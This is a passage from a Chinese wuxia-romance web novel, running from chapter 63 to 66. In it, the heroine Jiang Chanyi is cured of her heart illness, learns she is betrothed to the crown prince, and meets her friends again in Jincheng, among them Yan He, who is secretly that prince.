其实她对离别并不陌生,毕竟从很早开始师父师弟师妹便时不时的出远门,按理,她应早已习惯。 可每一次,还是难免有些难过。 不过燕公子说的对,人生难得遇知己,能够遇见,就已是幸事。 徐青天隐约感知到,笑着道:“明年醉星楼,我们不见不散。” 姜蝉衣唇边勾起一抹笑意。 “好。” 第63章 第 63 章 师父回来了 次日醒来, 姜蝉衣快速洗漱完便欲往云广白徐青天的院子去,然打开门,却见徐青天背对着院门而立。 她愣了愣, 快步走过去:“敏砚。” 徐青天回过头,温和笑着:“蝉衣姑娘醒了, 我来辞行。” 姜蝉衣看了眼一旁的箧笥,却不见另一人,徐青天适时道:“云广白已经走了。” “你准备的酒他都抱走了, 托我向你道谢, 可能是昨日丢了脸, 难为情。” 姜蝉衣不免想到他们第一次分别时,云广白也是这样说走就走, 看似不近人情,实则那时他们便知道,少年瞧着洒脱不羁, 但好像极其不喜欢离别。 “嗯,我送你下山。” 姜蝉衣没多说什么,将为徐青天准备的礼物递给他:“这是我请二师弟帮我准备的文房四宝,愿你早日高中。” 希望明年再见他已考中秀才。 徐青天没有推辞,接过来大方道谢。 二人走出一段路, 姜蝉衣才问:“他看起来,还好吗?” 虽然她还不懂男女情事, 但昨日见云广白那般伤情, 恐怕不是一时半会儿能走出来的。 “能蹦能跳,少年人嘛,热情来的快去得快,天塌不下来, 喝完你送的几坛酒应就释怀了。”徐青天道。 姜蝉衣听出了他的言外之意。 不管将来会不会释怀,眼下云广白的心绪大概并不好。 但她似乎也做不了什么了。 只希望如徐青天所说,他能尽快释怀。 到了山下,徐青天拱手作别:“来日再会。” 姜蝉衣还礼:“后会有期。” 目送徐青天走远,姜蝉衣才折身返回山中,长阶直上似无尽头。 不知走了多久,突听头顶上传来一道声音:“大师姐。” 姜蝉衣抬头,却见晏青禾不知何时也下了山,她加快脚步上前:“二师弟怎么来了?” 晏青禾道:“我听弟子说你送徐公子下山,久不见你回来便来看看。” 姜蝉衣失笑:“在自己山门能有什么事,我不过是走的慢些罢了。” 晏青禾看她半晌,道:“师姐若不想走了,我背你。” 晏青禾到落霞峰那年,姜蝉衣还不到十岁,因入门早占了个大师姐的身份,但年纪却小晏青禾几岁,更多时候是晏青禾照顾姜蝉衣。 偶尔起了玩心会在山中追野兔,去河里捉鱼,有时候也陪着师父采药,往往回来时姜蝉衣已经累的走不动路,这时候都是晏青禾背她回去。 姜蝉衣闻言不由笑道:“都多大了,还要师弟背,师弟师妹看见,平白损我威严。” 晏青禾想到她教武学课时的严厉,打趣道:“如今弟子最怕的就是师姐了。” 姜蝉衣对此并不在意,话锋一转:“三师妹还在院中吗?” 晏青禾敛了笑意,回答道:“去后山采药了。” 昨日白安渝一回院子就上了锁,晚饭没用,也不让任何人进去。 “嗯,我晚些时候去找三师妹。” 姜蝉衣说罢许久都没再开口,不知是在想什么。 晏青禾以为她因和朋友分别而难过,只静静陪她往上走着,直到过了外门时,突然见姜蝉衣停下脚步。 “怎么了?” 晏青禾问道。 姜蝉衣抬头定定的看着他,突然问道:“喜欢一个人是什么感觉?” 晏青禾一怔,而后慌忙错开眼神,手也无意识攥紧,良久后,才勉强镇定,再迎上姜蝉衣的视线,声音低沉:“喜欢一个人,时时刻刻都想见她,不想分别,心中会总是念着,想着,看山川万物,都是她。” 姜蝉衣的心好像漏跳了一瞬。 不想分别,总是念着,看山川万物,都是他。 这竟就是喜欢吗? 那她…… “梦见算吗?” 晏青禾看着师姐面露沉思,眼底划过一丝痛色,心头更是堵塞难言。 她梦见了谁,燕鹤吗? “师姐梦见什么?” 他到底没敢去问她梦见了谁。 姜蝉衣脱口而出:“重逢。” “我梦见他回来了。” 昨夜,她梦见自己立在花田中,突听见熟悉的声音自身后响起,她回过头,便见燕鹤嘴角噙着温和的笑朝她走近。 他说,蝉衣,别来无恙。 醒来时,她就觉得不一样。 看见燕鹤的那种感觉与她和云广白徐青天相处时全然不同。 晏青禾不用深思便知她口中的他是谁,日有所思夜有所梦,原来,师姐一直都在期盼与燕鹤重逢。 他一直想着只要他们不点破,时间一久,师姐或许就忘记了,将来回京也不至于难过,可没想到师姐好像已经隐有察觉。 是为何,因为云广白和三师妹? 晏青禾没有再答,生硬的转开话题:“师父来信了,除夕才能归。” 师姐终是要回玉京,相国嫡女,又怎能择江湖游侠为婿。 此时点破,对谁都不好。 姜蝉衣的思绪立刻就被拉走,身边是最亲近的人,她压根不会去思索他是否在岔开话题,闻言惊讶道:“怎这么久,可是有什么事?” 晏青禾本不欲多说,但思索良久后,还是道:“师父本要回来的,收到师妹的信后,去为师姐寻药了。” 姜蝉衣怔住:“寻药?” “这是何意,师父不是说我再针灸一次便无虞了?” 晏青禾见她面露惊诧,忙安抚道:“师姐不必紧张,师父说的没错,原本明年再针灸一次师姐的心疾就不会再复发,只是……” 晏青禾顿了顿,道:“师姐这次受的伤太重了,虽外伤已无碍,但实则伤及筋脉,于旧疾无益。” 姜蝉衣眸子沉了沉。 这段时间她确实偶尔感觉到心口隐隐刺痛,不过很短暂,她并没有放在心上。 “师妹怕师姐担心,便没有如实说。”晏青禾继续道:“不过师姐放心,待师父将药寻回,彼时再施最后一次针灸便无碍了。” “但这段时日师姐需静心清修,若再出岔子,等师父寻药回来,必定难过。” 他太清楚什么是对师姐来说最重要的,只要师姐将心思放在清修上,就必不会再去胡思乱想。 他知晓自己没有机会,只是不愿意见师姐徒自伤情,一丝都不行。 这种滋味,很痛苦。 果然,姜蝉衣很快就将心头刚升起的杂念放下,她的心疾已经治了十七年,师父为此所付出的艰辛她都知晓。 最后一年,不论如何都不能前功尽弃。 “我知道了。” 姜蝉衣:“我要闭关一段时间,上课的事要劳烦四师弟了。” 晏青禾沉默片刻,点头:“好,门中有我在,师姐不用担心,不过师姐内伤还未痊愈,练功之时务必谨慎。” 姜蝉衣勾唇:“知道了,不知道的还以为你是师兄呢。” “这样吗?” 晏青禾拧眉沉思:“要是师姐愿意同我换一换,也是可以的。” 姜蝉衣知道他在玩笑,抬手敲他额头,晏青禾习惯性的低头:“大逆不道,敢肖想大师姐的位置了。” 少时,姜蝉衣仗着大师姐的身份,偶尔要‘教训’晏青禾,但她没他高,每次敲他额头时,晏青禾都配合的低下头。 虽然已经有很久没有‘教训’过了,但有些东西好像早已是刻在了骨子里。 “不敢不敢。”晏青禾笑着道:“落霞门大师姐的位置永远是师姐的。” “这还差不多。” 姜蝉衣提着裙摆加快脚步,看着她的背影,晏青禾摸着额头无声笑了笑。 他希望师姐永远都能自在随性,快乐无忧。 _ 秋去冬来,时间飞快的流逝着。 除夕前夕,下了很大一场雪,姜蝉衣已出关,同白安渝一起等在山脚下。 师父前些日子来信,说今年下第一场雪时回来,师父懂星象,他们对此毫不怀疑,一见下雪就赶紧迎了出来。 这一等就是一个时辰。 姜蝉衣内力深厚倒是无碍,白安渝手中的汤婆子已经冷了,冻得面色雪白,姜蝉衣便抱着她给她取暖。 “这么冷的天,都说不让你来了,我来接师父就是了。” 白安渝声音都隐隐打颤:“没事的,回去喝点姜汤就好了。” 师姐妹又这么等了一炷香,姜蝉衣中午听见了动静。 安静的山中,脚踩在雪上的声音对她来说格外清晰。 “来了来了,师父回来了。” 白安渝没有看到人,只紧紧盯着入口,果然没过多久,便见一道身影缓缓出现在视野。 来的是位白衣老头,一脸长长的胡子看不出年纪,一身雪白大氅似于大雪融为一体,头发只有一根簪子簪着,略显凌乱的披散在身后。 姜蝉衣欢喜的招手:“师父!” 白衣老头见到二人,加快脚步:“怎么在这里等着了,安渝怎挡得住这天寒地冻,尽拉着你师妹胡闹。” 白安渝屈膝行礼:“师父。” 姜蝉衣瘪瘪嘴,接过白衣老头也就是他们师父宗止手中的包袱:“我就说师父最疼师妹了,都不怕冻着我。” 宗止横眉觑她一眼,忽而抬手攻去,轻易就被姜蝉衣化解,两股力道落在旁边积雪上。 “闭关几月内力又长进了不少,这点寒凉能冻得着你?”宗止边说边脱下大氅给白安渝披上:“先回山上,一个个的都不让人省心。” 白安渝正要开口,突听一道巨响,她还没反应过来,宗止就一把抓住她闪身躲开,姜蝉衣也紧跟其后。 站稳脚步,三人回头看着倒塌在雪中的山门,面色逐渐古怪。 显然,他们都已后知后觉的想起了方才宗止试探姜蝉衣的那一掌,对突然倒塌的山门已然心中有数。 宗止姜蝉衣师徒二人对视一眼,又迅速挪开,老头揽白安渝转身,泰然自若的念叨着:“今年的雪真厚,山门都压塌了,是吧安渝?” 姜蝉衣赶紧点头附和:“对,今年的雪好大,是吧师妹?” 白安渝抱着方才被姜蝉衣用内力加热的汤婆子,遭师师父师姐一左一右裹挟,只能点头:“嗯。” 至于晏青禾信不信……哦,重要的是不是晏青禾信不信,是沈琳琅。 沈琳琅当然不信。 得知山门塌了,沈琳琅立刻就炸了毛:“塌了?被雪压塌了?” “那么大座山门能被雪压塌,你还不如说是黑酆门打上门来了呢!” “今日都有谁去过山脚,老四呢,该不会又是这个孽障干的吧!” “当银子是大雪刮来的吗?我倒要看看是谁吃了熊心豹子胆敢砸我山门!” 沈琳琅几嗓子吼出了回音,吓得宗止立刻下令给姜蝉衣针灸,任何人不得打扰。 等沈琳琅查出个章程,连他师父的影子都没瞧见,只能气的跺脚,去账房抠一笔银子出来,待除夕后再重新修建。 第64章 第 64 章 你的未婚夫婿是东宫太子…… 最后一次的针灸很难熬。 因为重伤引发心疾更是万分痛苦。 姜蝉衣不记得自己痛了多久, 她只知道,不管再痛,她都要坚持下去。 她要活蹦乱跳的回去见父母亲人, 要安然无恙的好好活着,如此才对得起这么多年的分离, 对得起师父师弟师妹这些年的悉心照料。 一共十一日,,晏青禾日日守在屋外, 几乎寸步不离, 沈琳琅蒋铄关霄等人也逐渐明白了什么, 时不时就在屋外徘徊。 在所有人焦急担忧的等待中,除夕已至, 房门也终于打开。 宗止最先出来,神情疲惫,脚步略微踉跄, 连着十一日用内力施以针灸之术,再深厚的内力也都已经消耗殆尽。 晏青禾赶紧上前搀扶着:“师父。” 其余弟子也都一涌上前:“师父。” 宗止对上晏青禾担忧的神情,扯了扯唇角:“担忧我还是担忧你师姐呢?” 晏青禾眼神微闪:“自然都担心。” “行了。” 宗止觑他一眼:“我还不知道你,放心吧,无碍了。” 晏青禾紧皱的眉头终于放松, 提了多日的心也总算落下。 “你三师妹在照顾,今夜或许还能一起过个除夕。”宗止看了眼弟子们准备好的炮竹, 道:“准备了这么多呢, 天黑时都放了。” 沈琳琅看了眼屋内,道:“会不会吵着大师姐。” 宗止:“天黑时也该醒了,你们大师姐心疾已愈,此乃大喜, 值得庆贺。” 沈琳琅听了立刻面露欢喜,侧首朝弟子们道:“快去都放了,今夜除夕宴再多加几道菜,为大师姐好生庆贺一番。” 弟子们纷纷领命而去。 宗止眉头微挑:“青禾啊,我怎么瞧着如今琳琅比你还有威严?” 晏青禾还没开口,就见沈琳琅突然回头,目光定定的看着宗止:“师父,您回来那日,山门……” “啊,咳,咳咳,咳咳咳……”宗止捂着胸咳了几声,有气无力:“青禾啊,快扶我回去歇息,老了,精神不如以前了。” 晏青禾看了眼房中,低声领命:“是。” 沈琳琅:“……” 沈琳琅面色自若的转身去了厨房。 这是师姐与他们过的第一个除夕,菜肴定要最丰盛的。 _ 白安渝给姜蝉衣换了衣裳,喂了碗汤药,人才沉沉睡去。 睡梦中,眉头仍紧皱着。 白安渝心疼的伸手抚平,轻声安抚:“师姐,别怕,以后都不会再疼了,好好睡一觉,师弟师妹们都等着师姐醒来过除夕呢。” 不知是不是听见了白安渝的声音,姜蝉衣的睡颜逐渐恢复平静。 这是她近日来睡的最安稳的一觉。 夜色降临,屋内烛光闪烁。 姜蝉衣睁开眼望去,身体除了使不上什么力,已无别的不妥。 “师姐醒了。” 白安渝端着药进来,轻轻扶她起来,坐在床沿,温和笑着:“恭喜师姐,心疾已愈。” 姜蝉衣跟着弯了眉眼。 真好,终于等到了这一天。 “不过这几日还得喝几副药。” 姜蝉衣:“嗯。” 白安渝给姜蝉衣喂了药后将碗放下,去拿了大氅给她披上,然后走到窗边打开了一扇窗。 姜蝉衣心中不解,只还未来得及询问,就听一阵声响传来,天空中接连炸开绚烂的烟花,久久不停。 白安渝走回窗边,搀着她坐起身,道:“这是师弟师妹们为师姐准备的,师姐可要出去看看?” 姜蝉衣心中不由流过一阵暖流,喉间也微哽,半晌后点头:“好。” 白安渝给她穿好大氅,搀扶着她走出房门,广场之中弟子早已聚齐,见她出来齐整道:“大师姐新年喜乐。” 姜蝉衣没忍住,一行泪蓦然落下。 “新年喜乐。” 她一直认为自己是幸运的,有爱她的师长亲人,有真心相伴的师弟师妹,后来还结识了几位知己好友。 烟花齐鸣,照亮了夜空,能将每一个弟子的笑脸收入眼底。 姜蝉衣也跟着笑。 她真的很幸运。 _ 腊梅盛开,姜蝉衣采了几枝送到师父房里,宗止见她过来,抬了抬眼:“已恢复了?” “嗯,已无碍了。” 姜蝉衣换了窗边的腊梅,走过去帮着师父整理药材。 师徒半晌无言后,宗止停下动作:“有何事,你直说。” 姜蝉衣眨眨眼,蹭到师父跟前,小声道:“师父,我好像有喜欢的人了。” 宗止面上闪过迅速一丝愕然。 “你说什么?” 姜蝉衣便又重复了一遍。 宗止已在心中快速思索,是谁,晏青禾?沈琳琅?蒋铄?总不能是关霄? “是……是是谁?” 哪个王八羔子,他打断他的腿! 青禾除外。 姜蝉衣低下头:“师父没见过。” 宗止松了口气,随后又一口气提到嗓子眼,失声道:“没见过?什么叫我没见过?” “你跟我好生说说,哪里来的野小子!” “他不是野小子。” 姜蝉衣扯着宗止衣袖,反驳道:“他是位清风明月般的郎君。” 闭关多日,很多事情她已经想透彻了。 她确实喜欢上了燕鹤。 她也不知道该怎么办,只好来同师父讲一讲。 “不行!” 宗止态度坚决:“你大概不能喜欢别人。” 姜蝉衣怔住,不解道:“为什么?” 宗止神情复杂道:“是这样的,你其实已经有婚约了,是明亲王府的小王爷和你父亲才定下的,这婚可不好退。” 姜蝉衣震惊的盯着宗止,好半天才找回自己的声音:“怎么可能,什么时候的事,我怎么不知道?” 宗止:“……我也是在除夕前才得知的。” 姜蝉衣知道宗止不会拿这种事玩笑,急的攥紧他衣袖:“谁,定的谁?” 她才有了喜欢的人,怎就冒出来个婚约! 宗止见她如此,心疼的拍了拍她的手:“不管你喜欢的那人是谁,都忘了吧。” “为什么?” “因为,你的未婚夫婿是东宫太子。”宗止。 他也不知道褚相国和小王爷怎会突然给蝉衣定亲,但其实细想,也合理。 相国嫡女,东宫太子,门当户对。 只是,他实在不知蝉衣竟有心上人了! 姜蝉衣如遭雷击。 太子,怎么会是太子。 若是高门大户,尚且有退婚的可能,可是东宫太子,如何退得! “怎么会这样,我都还没回去,还没见过太子,怎么会突然定婚。” 姜蝉衣喃喃道。 宗止无奈一叹:“你若早些同我说有心上人,我给你父亲去封信,便也不会有这婚约了。” 姜蝉衣欲哭无泪:“……我也才察觉到。” 不对。 姜蝉衣眼睛一亮:“是小王爷与父亲定的,不是圣上赐婚?” 宗止闻言怔了怔,仔细回想信中内容,点头:“确实没说是圣上赐婚。” “太好了,不是赐婚,那就还有退婚的余地。”姜蝉衣眼眸一弯:“这婚,我退定了!” 宗止:“……” “有句话不知当说不当说……” “那便不说。” 姜蝉衣坚定道:“不能乱我道心。” 宗止:“……行吧。” 小王爷指的婚可不见得比圣上赐婚好退多少。 不过,无妨。 徒儿长大了,有了自己的主意,他何必阻拦。 再怎么闹,那还有相国爹,帝师外公,太傅舅舅摆着,出不了什么大事。 “师父,我过几日要下山一趟。” 宗止顿时警觉:“去做什么,见那个野小子?!” “师父!都说了不是野小子!” “行行行,清风明雨的月亮是吧?”宗止郑重道:“你告诉师父,那月亮叫什么名,何方人士?” 姜蝉衣也没打算瞒着宗止,如实道:“他叫燕鹤,何方人士我不知道,只知道是没落世家之后,很有钱!” 宗止记下了这个名字,皱眉道:“真是去见他的?不行,万一他起了什么坏心……” “师父。” 姜蝉衣扯着宗止袖子摇晃:“我是与朋友有约,正月十五在锦城醉星楼相见,他们去岁来过山中,二师弟三师妹都见过的。” 宗止确实知道去岁姜蝉衣有朋友来过山中,闻言略微放心。 既然青禾安渝都见过,必然不会是歹人。 锦城,醉星楼。 大不了,他悄悄去一趟。 “见面可以,但要记住你如今是有婚约的人,没退婚之前绝不能和别人不清不楚,知道吗?”宗止正色道。 “切记,你的未婚夫婿是太子殿下,若闹出什么,即便你父亲外公能保住你,也保不住他,明白吗?” 姜蝉衣松开手,恭敬应道:“徒儿谨遵师父教诲。” “何时下山?” 姜蝉衣:“明日。” 宗止淡淡嗯了声。 “万事小心。” “是,师父。” _ 姜蝉衣算着日子,正月十四到的锦城。 她要了间临街的客栈,就在醉星楼对面,价格很高,但现在她挺有钱的。 她这回出门,师父给她塞了一袋银子,五师弟又给她了几锭。 她这还是头一回这么有钱。 他们约好十五在醉星楼见面,她提前到了便也不知道去何处寻他们,干脆就等在这里。 只要他们露面,她就看得见。 次日,锦城外,一辆马车缓缓驶来。 “殿下,墉州的案子才了,怎又要来锦城,这明明都是些小案子小王爷怎非要怎让殿下过来。”金酒憋了一路,实在忍不住问道。 为了这两个小案子,他又和殿下一道被弄晕送出了京。 燕鹤眼睫微垂。 “去岁你父皇特意找过我,说你回来之后不再让你出京,我本也觉得差不多了,但心里就是不得劲。” “他不让你出京,我就非要你出京,谁说的及冠就要参政,你父皇正值壮年,还有褚相国乔太傅辅佐,不急这一年两年。” “恰墉州有旧案,这除夕也过了,你立刻启程,不急着回来,多玩几日。” 燕鹤拒绝的话根本没机会出口,就连带着贴身暗卫又被玄烛叔叔打包送出了城。 墉州便罢,可案子才了,又收到小叔叔来信,让他来锦城。 锦城,是他与故人有约的地方。 时间刚好就是今日。 燕鹤没有打算赴约,偌大锦城,只要不想见,应是碰不上面的。 今时不同往日,他已有婚约在身,断不可能再欺骗自己只当姜蝉衣是知己好友。 燕鹤打算得很好,尽快处理完锦城案情,然后悄无声息的离开,可他怎么也没想到,他的马车才进锦城,就碰到了云广白。 以防被他们认出,燕鹤特意换了马车,可千算万算,算漏一样,云广白认出了赶车的金酒。 “金酒,真巧,你们也提前到了。” 燕鹤听着那道熟悉的声音,攥了攥手中书本。 他应该换了金酒才是。 第65章 第 65 章 听说太子殿下去了墉州,…… 正月十五, 姜蝉衣换了身新衣一早就坐在窗边等着,心间困扰多日的婚约也因即将到来的重逢而暂时被抛之脑后。 认真算起来,他们也就大半年不见, 可总觉得已经过去了许久。 生怕错过了谁,姜蝉衣的眼神几乎没有离开过醉星楼门口。 时间缓缓的流逝, 从清晨到将近午时,而赴约的人一个都未出现,但姜蝉衣只想着是自己来的太早, 并不怀疑他们会失约。 午时刚过, 一道熟悉的身影出现在街道, 姜蝉衣眼眸一亮,起身探出头去, 确认没看岔后,从窗口跃下。 徐青天仍旧背着熟悉的箧笥,只是身边多了一个书童打扮的少年, 正皱着眉头苦口婆心的相劝:“公子,春闱在即您不能再出远门了,万一误了科考怎么了得。” “好了好了都说一路了,耳朵都听起茧子了,我都说了我很快就会回来, 你赶紧回去,别叫我的朋友瞧见” 话音还未落, 余光中就瞥见一道倩影, 徐青天似有所感抬眸看去,见果真就是姜蝉衣,他忙低声斥道:“快走!” 书童却似乎忘了动作,眼也不眨的盯着从天而降的貌美姑娘, 心底一瞬间闪过无数个念头。 原来这位仙女儿就是公子的朋友,怪不得公子想尽一切办法都要偷偷出府。 不对,这不是重点,重点是公子竟有心上人了! 难怪不得迟迟不愿意定亲! 书童心头正震撼着,突然被推了一把,抬眼对上公子威胁的视线,书童忙回神退到一边装作与自家公子不认识。 姜蝉衣轻飘飘落在徐青天面前,笑盈盈道:“敏砚,别来无恙。” 徐青天笑着迎上去,抬手一揖:“蝉衣姑娘,许久不见,一切可好?” 书童眼底顿时迸着异样的光亮。 公子喜欢外出游学,但从不曾用过真实身份,这位姑娘却知道公子的字,关系显然不一般? 他得赶紧回去告诉老爷,府里要有喜事了,不对,很可能是双喜临门! 状元及第,洞房花烛,人生大喜啊! 姜蝉衣看了眼书童匆忙离开的背影,想着方才看到徐青天与他交谈,许是相识,便问了句:“那是?” 徐青天面不改色:“问路的。” 姜蝉衣不疑有他,往他身后看了眼,道:“云广白和燕公子还没到,我们先找地方等等?” 徐青天点头:“好。” 他看了看姜蝉衣方才所在的客栈,似是想起什么,打趣道:“这间客栈可不便宜,大师姐如今不再是一贫如洗了?” 姜蝉衣也玩笑道:“嗯,劫已经渡完,可以碰金银了。” 年后五师弟带她去看过师门的小金库,说是京中刚送上的,本都是属于她的,让她随意取用,但大约是穷惯了,她瞧着那么多金银心头发慌,全都让他入账了。 徐青天在落霞门住了几月,大约知道一些关于姜蝉衣的事,闻言拱手道:“那就恭喜蝉衣姑娘,余生必定顺遂无忧。” “多谢。”姜蝉衣想起什么,问:“你呢,府试将近,准备的如何?” 徐青天眼神闪了闪:“尚可。” 每年府试在四月,但今年还有二月底的春闱,日子也将近了。 “姜姑娘还没有用午饭吧,那家的羊肉粉不错,去尝尝?” 姜蝉衣确实也饿了,闻言点头:“好,我请你。” 徐青天笑眯眯道:“姜姑娘人美心善,慷慨大义。” 这话有些耳熟。 可不就是二人曾经恭维燕鹤的话。 一晃眼,他们竟已经认识快三年了。 “不用客气。” 怕与云广白燕鹤错过,二人选了张显眼的桌子,徐青天熟练的叫了两碗面,并悄然同老板使了个眼神,老板会意,只当不认识他。 面很快就端了上来,香气四溢,让人食指大动:“好香啊。” “这可是锦城最好吃的羊肉粉之一。”徐青天下意识道。 姜蝉衣随口问道:“你怎么知道?” 徐青天拿筷子的手一顿,而后笑着道:“我打听的。” 吃完羊肉粉,徐青天餍足的靠在凳子上,裹了裹狐毛大氅:“蝉衣姑娘这次可有想去的地方?” 老板收了碗,给他们上了茶,又默默搬了个火盆放到徐青天跟前。 羊肉粉摊位临近醉星楼,从醉星楼出来一眼就能瞧见,时而有人出来看见裹着大氅在粉摊上烤火的书生时都稍作停滞,似乎在犹豫什么,转而见对方错开眼神,这才若无其事的低头离开。 但目光总会若有若无的看了眼他旁边的美貌姑娘。 徐家这是喜事将近了?也不知道这是哪家的姑娘,竟生的如此标志,怪不得徐公子拒了那么多亲事。 “这次倒是有,不过还是等他们到了再商议看看。”姜蝉衣并没有察觉到这些,看了眼火盆,夸赞了句:“锦城的老板真是热心肠。” 老板愣了愣后,亲和一笑,也不多说什么。 倒是徐青天后知后觉反应过来什么,将火盆挪了挪,面朝墙壁坐着,再老板再一次看过来时,他忽而来了句:“只是友人。” 姜蝉衣不解:“什么?” 老板笑着应了几声,装作很忙的样子走远了,徐青天这才道:“没什么,我是想说,这里冷,不如找个室内……” 也不成,若谁瞧见他和一位姑娘去了室内,不出今日,谣言就得传遍锦城。 他到无碍,但不能损了姜蝉衣清誉。 等燕鹤云广白到了,他得怂恿他们尽快离开锦城。 “你还冷吗?” 姜蝉衣看着烧的正旺的炭火,又看一眼徐青天厚厚的狐毛大氅,若是她穿成这样非得闷一身汗不可,不过转念想到三师妹,姜蝉衣便又理解了。 没有内力傍身确实畏寒。 她想起方才徐青天将冷了的汤婆子放进箧笥,便道:“你将那汤婆子拿出来。” 徐青天不知其意,但还是伸手拿出来给了姜蝉衣,随后他就见姜蝉衣用内力将汤婆子加热,递回给他。 徐青天惊奇的摸着温度刚好的汤婆子:“内力还有这作用呢?” 姜蝉衣笑道:“三师妹畏寒,常给她加热,熟手了。” “多谢蝉衣姑娘。” 徐青天舒服的抱着汤婆子,一转眼就对上老板和老板娘笑弯了的眼:“……” 徐青天:“……” 听说江湖中有人皮面具,栩栩如生,或许他应该去买一个来。 “要不,我们还是先离开……” 马车由远及近,缓缓停在醉星楼前,也打断了徐青天的话。 “是金酒!” 姜蝉衣先认出来,一脸喜色的站起身:“燕公子到了。” 徐青天也跟着起身走过去。 马车停稳,最先下来的却是一身劲装马尾高束的少年。 他见着迎过来的姜蝉衣徐青天,欢喜的挥手同他们打招呼:“蝉衣姑娘,徐敏砚,你们也会和了。” 少年笑的一如既往的灿烂,与几个月前嚎啕大哭时判若两人。 姜蝉衣见此也放心了些。 “你怎么和燕公子一起来了?” 云广白笑呵呵道:“在城门口碰上了,就蹭了个车。” 话音落下,就见车帘被一只白玉无瑕的手缓缓掀开,露出那张绝色容颜。 姜蝉衣目光落过去,再也没挪开。 燕鹤从容的迎上姜蝉衣的视线,手指几不可见的紧了紧,只片刻就轻飘飘移开,温和道:“姜姑娘,徐公子。” 徐青天拱手回礼。 姜蝉衣也骤然回神,扬起一抹笑:“燕公子,好久不见。” 师父的话她认真记下了。 如今她有婚约在身,即便看清了自己的心意,也只能当他是朋友。 且她的未婚夫婿是一国储君,若她与他太过亲密,对他来说并非好事。 在退婚之前,他们只能是朋友。 燕鹤复看向她,轻笑:“好久不见。” 他本无意赴约,可阴差阳错他还是在这一天到了这里见到了她。 既是注定要见这一面,那就当是最后一面,明日他再找机会离开。 二人各有心思,打过招呼竟默契的挪开视线,不再言语。 徐青天将这一幕瞧在眼里,上前一步道:“外间寒凉,不如先进醉星楼。” 云广白伸手摸了摸他的大氅,啧了声:“你这大氅比我的厚这么多,还抱着汤婆子,这还冷?” 徐青天笑眯眯看着他。 没眼力见的棒槌! “你们先进去,我去拿箧笥。” 云广白远远瞧见羊肉粉摊位上的箧笥,一把拉回他:“你先进去,我去给你拿。” 徐青天毫不犹豫折身走到姜蝉衣燕鹤中间:“那我们先进去。” 有燕鹤在,轻易就进了醉星楼。 接待他们的还是上次的掌柜。 掌柜仍给他们安排在了上次的包房:“少东家先前打过招呼,以后各位来醉星楼都记账即可。” 记账,也就是免费的意思。 当然,这话只是同姜蝉衣三人说的,燕鹤到醉星楼,本就不必结账。 姜蝉衣:“玉公子大气。” 徐青天:“玉公子仗义。” 云广白放下箧笥,看了眼二人,顺嘴跟着一句:“玉公子慷慨。” 掌柜的怔了怔,而后笑着颔首,燕鹤已经习惯了几人的马屁,朝他道:“先上些茶水点心。” 他们都用过午饭,此时进来只因外间寒凉。 掌柜的恭敬应下便退出去了。 房中放着上好的银丝炭,几人围着火盆而坐,徐青天拿了橘子烤,云广白温了壶酒。 寒暄过后,徐青天问:“蝉衣姑娘方才说有想去的地方,不知是何处?” 姜蝉衣刚剥了瓣橘子放进嘴里,闻言腮帮子鼓鼓的道:“听说太子去了墉州,想去看看。” 几人闻言皆是一怔。 看太子?她怎么突然想起要去看太子? 燕鹤自然最惊讶。 他眼底飞快闪过一丝惊疑,有一瞬,他甚至以为姜蝉衣怀疑他的身份,但看大师姐神情却又不像。 良久,燕鹤状似不经意般道:“为何要去看太子?” 姜蝉衣抬眸看一眼他,又垂下视线:“听闻太子殿下经常微服私访,无意中听说这次在墉州,离这里不远,就想着去看一看呗。” 她当然不是无意中听闻,而是请二师弟让人打听的,没成想太子竟在墉州。 这么好的机会她自然要去碰碰运气,万一他同意退婚了呢? 毕竟他也没有见过她,说不定对这门婚事也是很不情愿的。 燕鹤深深看了眼姜蝉衣,没有继续追问。 他此行去墉州查案并没有刻意隐瞒行踪,有消息出来并不让人意外。 只是他没想到,她竟突然生出兴致要去看他。 若她真要去,他必然要一道。 墉州不少人见过他,且还有人知道他用了燕鹤一名,若不盯着,极有可能暴露身份。 第66章 第 66 章 殿下在做什么! 徐青天将橘子翻了个面, 久不见人开口,便道:“听说墉州多才子,可去。” 重要的是他得赶紧离开锦城, 方才一时不察不少人看见他和姜蝉衣在一处,以免引来误会, 最好今日就出发。 且墉州离锦城不远,进京前说不定还能回趟家。 云广白去抢徐青天烤在火盆边的橘子,被烫的缩回手, 放在耳尖上, 随口:“墉州富商多, 劫富济贫,去。” 徐青天白了他一眼。 只差财神爷没表态, 几人都不由转头看向他:“一起吧?” 刚从墉州过来的太子淡然点头:“好。” “那何时出发?” 姜蝉衣忙问。 她已经迫不及待要去墉州堵太子,只要他松口,这桩婚事必然能退。 迫切想离开这里的徐青天:“现在走?” 姜蝉衣一愣, 倒也不必这么急? 云广白立刻反驳:“急什么,难得进一次醉星楼,怎么也要吃顿饭再走。” 姜蝉衣忙不迭点头。 “嗯嗯。” 醉星楼的菜真的很好吃,点心也好吃。 意见相左,只能又请财神爷拿主意。 燕鹤状似无意般划过那双明眸, 看向徐青天:“用顿饭再走也不迟。” 徐青天:“……行吧。” 他敢肯定,若说现在走的是姜蝉衣, 他铁定不是这个答案。 因要赶路, 晚饭用的早些,从醉星楼出来,天还亮着。 燕鹤换了马车,没有之前的宽大, 但容四个人还是可以的。 只是稍微有些挤。 云广白说,天寒地冻的,挤挤更暖和。 实则是燕鹤马车上有上好的银丝炭,贡茶,谁都不愿意再去租一辆车。 燕鹤做主位,徐青天云广白挤在一边,姜蝉衣一人坐燕鹤左侧。 她控制自己与燕鹤保持距离,不多看他,无意识的离他稍微远了些。 徐青天见微知著,眼神悄然在二人身上瞟过,大师姐以前最爱盯着燕鹤看,但这次重逢却几乎不怎么看了。 方才他就觉得奇怪,眼下终于确定,不止燕鹤,姜蝉衣也在刻意拉远距离。 啧,搞不懂。 云广白心思都放在了贡茶上,自然不会注意到这些细节,但泡茶的燕鹤却早已察觉。 他虽不明白她的转变从何而来,但对谁而言都不是坏事,也是他想要的。 至于心底的酸涩,他早已经习惯了。 如今这样,挺好。 “燕公子,满了满了……” 燕鹤手一顿,看了眼溢出来的茶水,沉默片刻伸手去拿抹布:“抱歉,想到先前的案子,走了神。” 云广白麻利的接过抹布,随口问了句:“什么案子?” 徐青天好整以暇的看着燕鹤,他倒觉得他想的可能是蝉衣姑娘。 姜蝉衣听到案子,想起什么,接过话:“可是先前的私矿有进展了?” 她不知她这话恰好给燕鹤解了围,他方才为了掩饰脱口而出的案子想的是先前在墉州的案子,话一出口才觉不对。 他不应该去过墉州,更不应该去墉州查案。 